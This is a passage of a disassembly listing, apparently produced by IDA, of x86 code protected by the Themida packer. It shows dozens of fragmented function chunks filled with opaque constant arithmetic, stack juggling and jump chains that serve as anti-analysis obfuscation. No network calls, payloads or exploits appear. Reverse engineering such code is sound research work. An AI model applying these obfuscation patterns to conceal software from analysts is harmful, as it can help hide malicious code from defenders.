; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_571722:				; CODE XREF: sub_564BC5+62D4j
		sub	ebp, 0FFFFFFFFh
		xchg	ebp, edx
		shl	edx, 8
		push	46A3h
		jmp	loc_56BD2E
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_571737:				; CODE XREF: sub_56D69D-9BA8j
		pop	ebp
		jmp	loc_5695CF
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_57173D:				; CODE XREF: sub_56628B+Cj
		add	esp, 4
		push	ebx
		mov	ebx, 6EB07CBh
		jmp	loc_567D8C
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_57174B:				; CODE XREF: sub_563A7F-291Dj
		inc	cl
		jmp	loc_568E18
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------


loc_571752:				; CODE XREF: Themida_:00570A63j
		mul	cl
		jmp	loc_5638AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D0B7


loc_571759:				; CODE XREF: sub_56D0B7-B36Cj
		mov	eax, [esp-8+arg_4]
		push	71h
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		push	40Ch
		mov	[esp+0], eax
		mov	eax, 2
		sub	ebp, eax
		mov	eax, [esp+0]
		jmp	sub_574B8A
; END OF FUNCTION CHUNK	FOR sub_56D0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_571792:				; CODE XREF: sub_560EA2+DF84j
		mov	eax, 10BA0687h
		not	eax
		add	eax, 0B9A4CD7Eh
		jmp	loc_573F4A
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_5717A3:				; CODE XREF: sub_57146D-14D3j
		pop	edx
		add	esp, 4
		push	edx
		mov	dh, 2Ah
		add	bl, dh
		jmp	loc_56B80A
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5717B1:				; CODE XREF: sub_57354D-3200j
		push	esp
		jmp	loc_562DDF
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_5717B7:				; CODE XREF: sub_5754DA-1350Cj
		mov	[esp+8+var_8], ebx
		mov	bl, 79h
		shl	bl, 5
		sub	bl, 0B4h
		and	bl, 5Ch
		xor	bl, 94h
		xchg	cl, bl
		not	cl
		xchg	cl, bl
		inc	bl
		shl	bl, 8
		xor	bl, 5Ch
		sub	al, bl
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		push	cx
		jmp	loc_56A229
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_5717E9:				; CODE XREF: sub_574656+3C6j
		pop	esp
		push	7A63h
		mov	[esp+14h+var_14], eax
		push	esi
		pop	eax
		mov	ebp, eax
		pop	eax
		jmp	loc_56FFFF
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5717FC:				; CODE XREF: sub_57354D-8066j
		inc	ecx
		or	ecx, 2694E2Eh
		sub	ecx, 0CAF683Eh
		xor	ecx, 6F782B36h
		xor	esi, ecx
		pop	ecx
		or	edx, esi
		pop	esi
		jmp	loc_5745BB
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57181A:				; CODE XREF: sub_561418+1FDAj
		push	edi
		push	2832h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 635529EEh
		neg	ecx
		sub	ecx, 2C9D1FD3h
		and	ecx, 7CD65AA4h
		add	ecx, 6DEEF5Fh
		mov	edi, ecx
		pop	ecx
		add	edi, 602321E0h
		not	edi
		jmp	loc_57220E
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_57184C:				; CODE XREF: Themida_:0057410Ej
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 34782AB8h
		sub	ebp, 0B878D5B8h
		sub	ebx, ebp
		jmp	loc_5701F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_571862:				; CODE XREF: sub_57354D-694Fj
		push	78A6h
		mov	[esp+0Ch+var_C], esi
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5687FB
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_571875:				; CODE XREF: sub_5678CB-3AADj
		and	ebx, 4BE242DCh
		not	ebx
		and	ebx, 50400AC3h
		xor	ebx, 5BF23F6Fh
		and	ebp, ebx
		jmp	loc_5751A3
; END OF FUNCTION CHUNK	FOR sub_5678CB

; =============== S U B	R O U T	I N E =======================================



sub_571890	proc near		; DATA XREF: Themida_:0055FEFCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= word ptr  10h

; FUNCTION CHUNK AT 005614F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561AD8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056322B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005638F4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00567000 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568466 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00568BDC SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005698E7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AF6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BAFC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F355 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F4DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056FF3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057059C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057078F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573A5B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00574EE8 SIZE 00000016 BYTES

		mov	cx, [esp+0]
		sub	esp, 4
		jmp	loc_57078F
sub_571890	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_57189C:				; CODE XREF: sub_572641-D706j
		pop	ebx
		push	2C3h
		mov	[esp+4+var_4], edx
		mov	dl, 7Ch
		and	dl, 0F3h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5705C9
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_5718B8:				; CODE XREF: sub_560844+32j
		mov	[esp+0], ebx
		jmp	loc_56CF3C
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_5718C0:				; CODE XREF: sub_567D31-2963j
		mov	ebp, 3D0015Ah
		or	ebp, 5DCC3E3Ah
		inc	ebp
		xor	ebp, 24135872h
		add	ebp, 3C6D1AC1h
		xor	ebp, 0D9AAF922h
		add	esi, ebp
		pop	ebp
		jmp	loc_568B10
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E4D4


loc_5718E6:				; CODE XREF: sub_56E4D4-5C4Dj
		push	13273709h
		pop	ebx
		sub	ebx, 0EC5B2ACEh
		mov	edi, ebx
		jmp	loc_5726C9
; END OF FUNCTION CHUNK	FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5718F9:				; CODE XREF: sub_56FA15+543Dj
		xor	dl, al
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		xor	dl, cl
		pop	ecx
		push	eax
		push	ebx
		mov	bh, dl
		mov	ah, bh
		jmp	loc_56C0D6
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_571912:				; CODE XREF: sub_570CE4-65DDj
		shl	eax, 7
		add	eax, 4973B672h
		mov	ecx, eax
		jmp	loc_56808E
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E5BB


loc_571921:				; CODE XREF: sub_56E5BB-3DA0j
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		mov	ecx, [esp+0Ch+var_C]
		push	3C35h
		mov	[esp+10h+var_10], edx
		push	esp
		mov	edx, [esp+14h+var_14]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		pop	esp
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		jmp	loc_5611F6
; END OF FUNCTION CHUNK	FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_571958:				; CODE XREF: sub_565632+6CC4j
		mov	edx, eax
		jmp	loc_572A4C
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_57195F:				; CODE XREF: sub_561027+1D29j
		mov	[esp-4+arg_0], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		jmp	loc_5643FF
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_571974:				; CODE XREF: sub_567D31+1D1Cj
		mov	[esp+4+var_4], ebx
		pop	edx
		push	esi
		push	edx
		push	edi
		jmp	loc_56C60A
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------


loc_571980:				; CODE XREF: Themida_:005642B1j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, 51FD097Eh
		add	ecx, 75272EB2h
		sub	ecx, ebp
		push	esi
		jmp	loc_571CD1

; =============== S U B	R O U T	I N E =======================================



sub_57199D	proc near		; CODE XREF: sub_5680AC+49DEj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005607E9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00567E1A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C511 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057049D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00570F77 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005735DA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005744FC SIZE 00000007 BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_570F77
sub_57199D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_5719A5:				; CODE XREF: sub_566DFE+66EEj
		sub	edi, 7E54DFA8h
		mov	eax, edi
		pop	edi
		shl	eax, 3
		jmp	loc_5673AB
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_5719B6:				; CODE XREF: sub_569A75-7DBBj
		mov	edx, [esp+0]
		add	esp, 4
		jmp	sub_5620B7
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_5719C1:				; CODE XREF: sub_56AEF2+3949j
		mov	edx, [esp-18h+arg_14]
		add	esp, 4
		add	bl, 49h
		sub	bl, 0B4h
		jmp	loc_568BC9
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_5719D5:				; CODE XREF: sub_570B3C-7508j
		pop	edi
		push	esi
		mov	esi, 73A25C98h
		or	esi, 0EED3807h
		jmp	loc_570657
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_5719E7:				; CODE XREF: sub_56241E-68j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_5719EC:				; CODE XREF: sub_56CC46-D7Ej
		mov	edx, 6C323DF3h
		add	edx, 0A823A57h
		add	ecx, edx
		pop	edx
		pop	esi
		add	edx, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	edx, ebp
		jmp	loc_56FB0C
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_571A0D:				; CODE XREF: sub_5678CB-FD6j
		mov	dh, 0ACh
		neg	dh
		not	dh
		jmp	loc_57265C
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_571A18:				; CODE XREF: sub_574304-13196j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		jmp	loc_56F1B1
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_571A2C:				; CODE XREF: sub_56A423+2545j
		mov	edx, ecx
		jmp	loc_573EA1
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------


loc_571A33:				; CODE XREF: Themida_:005694C5j
		pop	esi
		push	eax
		jmp	loc_561672
; ---------------------------------------------------------------------------


loc_571A3A:				; CODE XREF: Themida_:005646C9j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56F7FE

; =============== S U B	R O U T	I N E =======================================



sub_571A50	proc near		; DATA XREF: Themida_:0055FF40o
		mov	ax, [esp+0]
		jmp	sub_56A423
sub_571A50	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_571A59:				; CODE XREF: sub_56A608+341Aj
		push	eax
		jmp	loc_566351
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CFE


loc_571A5F:				; CODE XREF: sub_567CFE+14j
		sub	edx, 391E00A7h
		sub	edi, edx
		pop	edx
		mov	ecx, edi
		pop	edi
		or	ecx, 2C141F1Fh
		inc	ecx
		push	eax
		jmp	loc_5659F9
; END OF FUNCTION CHUNK	FOR sub_567CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_571A78:				; CODE XREF: sub_5747D7-7C16j
		pop	edi
		add	eax, 4
		jmp	loc_562097
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_571A81:				; CODE XREF: sub_56BD44-76B0j
		push	7079641Ch
		pop	ebp
		shl	ebp, 6
		xor	ebp, 4EB8043Ah
		jmp	loc_563BAA
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_571A95:				; CODE XREF: sub_57549C-19F9j
		neg	ecx
		not	ecx
		inc	ecx
		or	ecx, 3F327B34h
		push	ebx
		mov	ebx, 78F31895h
		jmp	loc_560C26
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_571AAB:				; CODE XREF: sub_569DB5+B118j
		pop	edx
		mov	esi, [esp+4+var_4]
		jmp	sub_5726BB
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_571AB4:				; CODE XREF: sub_574949-4922j
		add	esp, 4
		mov	dh, ch
		jmp	loc_5681AD
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57117B


loc_571ABE:				; CODE XREF: sub_57117B+1F5Aj
		add	cl, 4Ah
		jmp	loc_5657EA
; END OF FUNCTION CHUNK	FOR sub_57117B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_571AC6:				; CODE XREF: sub_563FA2+59Ej
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_56AD55
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_571ADA:				; CODE XREF: sub_572075-B4D5j
		mov	[esp+0], ecx
		jmp	loc_56FDBA
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5697F2


loc_571AE2:				; CODE XREF: sub_5697F2+3j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5697F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564020


loc_571AE7:				; CODE XREF: sub_564020+F33Fj
		not	edx
		add	edx, 667C75CEh
		add	ebx, 63142728h
		add	ebx, edx
		sub	ebx, 63142728h
		mov	edx, [esp-4+arg_0]
		jmp	loc_56E360
; END OF FUNCTION CHUNK	FOR sub_564020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_571B05:				; CODE XREF: sub_56FA15-700Cj
		add	esp, 2
		jmp	loc_56F903
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_571B0D:				; CODE XREF: sub_5620B7+E8B5j
		mov	bh, 96h
		not	bh
		not	bh
		sub	bh, 0F2h
		sub	cl, 97h
		add	cl, 82h
		sub	cl, bh
		sub	cl, 82h
		push	ebx
		mov	bh, 97h
		add	cl, bh
		pop	ebx
		pop	ebx
		xor	dl, cl
		pop	ecx
		and	dl, 0ACh
		sub	dl, 8Dh
		sub	esp, 4
		mov	dword ptr [esp+0Eh+var_E], eax
		jmp	loc_570330
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_571B3F:				; CODE XREF: sub_561027+103C2j
		push	esi
		mov	esi, 6DBB0903h
		shr	esi, 6
		xor	esi, 31474559h
		xor	esi, 7BC4451Ch
		push	387Eh
		mov	[esp+20h+var_20], esi
		not	[esp+20h+var_20]
		pop	esi
		jmp	loc_573270
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------


loc_571B65:				; CODE XREF: Themida_:0056D767j
		pop	ebx
		jmp	loc_56785E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_571B6B:				; CODE XREF: sub_5605BC+80EDj
		pop	esp
		push	6EC7h
		jmp	loc_56EC17
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_571B76:				; CODE XREF: sub_569A75-8A0Fj
		sub	al, bh
		mov	bx, [esp+2+var_2]
		jmp	loc_5676FF
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_571B81:				; CODE XREF: sub_56FB8A-6EBDj
		add	ebp, edi
		pop	edi
		add	ebx, 671E3DCBh
		jmp	loc_5632B5
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_571B8F:				; CODE XREF: sub_5734A7-12919j
		neg	edi
		push	edx
		mov	edx, 463E1E76h
		shr	edx, 2
		jmp	loc_5616BD
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_571B9F:				; CODE XREF: sub_569CBC-9BA2j
		mov	[esp+4+var_4], eax
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		push	edi
		jmp	loc_565AA0
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_571BB1:				; CODE XREF: sub_57354D-116C9j
		xor	edx, eax
		xor	eax, edx
		jmp	loc_56A17B
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_571BBA:				; CODE XREF: sub_5605BC+B9B8j
		or	ebp, 4F0E03DDh
		push	ecx
		jmp	loc_56700B
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------


loc_571BC6:				; CODE XREF: Themida_:00565870j
		pop	eax
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		sub	ebx, 8C43AEB4h
		jmp	loc_572B5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_571BD8:				; CODE XREF: sub_574000-45F0j
		xor	eax, [esp+8+var_8]
		pop	esp
		ror	word ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_571BE6:				; CODE XREF: sub_569FB8-9150j
		mov	[esp+2+var_2], bx
		push	7FE6h
		jmp	loc_56AA8D
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------


loc_571BF4:				; CODE XREF: Themida_:0057506Bj
		pop	edi
		add	[esp+4], edx
		sub	dword ptr [esp+4], 7B651958h
		mov	edx, [esp]
		push	esi
		jmp	loc_56E48A

; =============== S U B	R O U T	I N E =======================================



sub_571C0A	proc near		; CODE XREF: sub_56B11B-4053j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005605CD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00562FB3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005659A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566BD8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00567D17 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056888C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568F03 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005692C6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056EFF9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0057125C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057493F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574BE1 SIZE 0000000A BYTES

		push	ebx
		jmp	loc_57493F
sub_571C0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_571C10:				; CODE XREF: sub_57354D-840Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57118D
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_571C1E:				; CODE XREF: sub_56F1DB-8296j
		xchg	eax, [esp+0]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_56F4F2
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_571C39:				; CODE XREF: sub_57354D-C085j
		pop	eax
		xor	eax, 47252180h
		mov	ebp, [esp+0]
		push	eax
		push	esp
		jmp	loc_5658C0
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_571C49:				; CODE XREF: sub_568E5C+6j
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xor	esi, [esp+0]
		jmp	loc_5707C4
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_571C68:				; CODE XREF: sub_564D26+35F5j
		mov	[esp+4+var_4], edi
		mov	edi, 1190E110h
		jmp	loc_56E39C
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C4FF


loc_571C75:				; CODE XREF: sub_56C4FF-57E9j
		pop	edx
		push	ecx
		not	[esp+8+var_8]
		pop	ecx
		jmp	loc_5688BF
; END OF FUNCTION CHUNK	FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_571C80:				; CODE XREF: sub_574304-10996j
		add	esp, 4
		jmp	loc_571DA1
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_571C8B:				; CODE XREF: sub_574656-DDB9j
		push	esi
		push	esp
		pop	esi
		jmp	loc_568716
; END OF FUNCTION CHUNK	FOR sub_574656

; =============== S U B	R O U T	I N E =======================================



sub_571C93	proc near		; CODE XREF: sub_560EA2+2583j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005601B6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561806 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005627E1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565945 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565CB0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056654C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005669A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005697C0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569EFB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056A1CA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056AB0B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056B269 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056B49F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C9AD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056F0A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570E14 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005727D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572A8F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005733AF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573A72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00575229 SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 7A935DAFh
		inc	edi
		jmp	loc_5601B6
sub_571C93	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_571CA7:				; CODE XREF: sub_5713A7-BC99j
		add	ebx, 622CAC5h
		add	edx, ebx
		pop	ebx
		add	edx, 31BA7CA0h
		sub	edx, 0E3036DEh
		add	edx, 46830E46h
		jmp	loc_566D1B
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_571CC7:				; CODE XREF: sub_565632+84E3j
		and	eax, ebp
		mov	ebp, [esp+0]
		jmp	loc_568776
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------


loc_571CD1:				; CODE XREF: Themida_:00571998j
		mov	esi, 725C5459h
		jmp	loc_569639
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_571CDB:				; CODE XREF: sub_567D31-3BD3j
		xor	edi, [esp+4+var_4]
		jmp	loc_56C8E9
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_571CE3:				; CODE XREF: sub_569A75+31CCj
		push	edx
		mov	dh, 0Ch
		push	ecx
		mov	cl, 40h
		and	cl, 59h
		jmp	loc_561CAC
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_571CF1:				; CODE XREF: sub_5678CB-AA8j
		pop	edx
		inc	al
		not	al
		jmp	loc_5703E6
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_571CFB:				; CODE XREF: sub_56FA15-3927j
		push	[esp+16h+var_14+2]
		pop	eax
		pop	[esp+16h+var_18+2]
		jmp	loc_562291
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
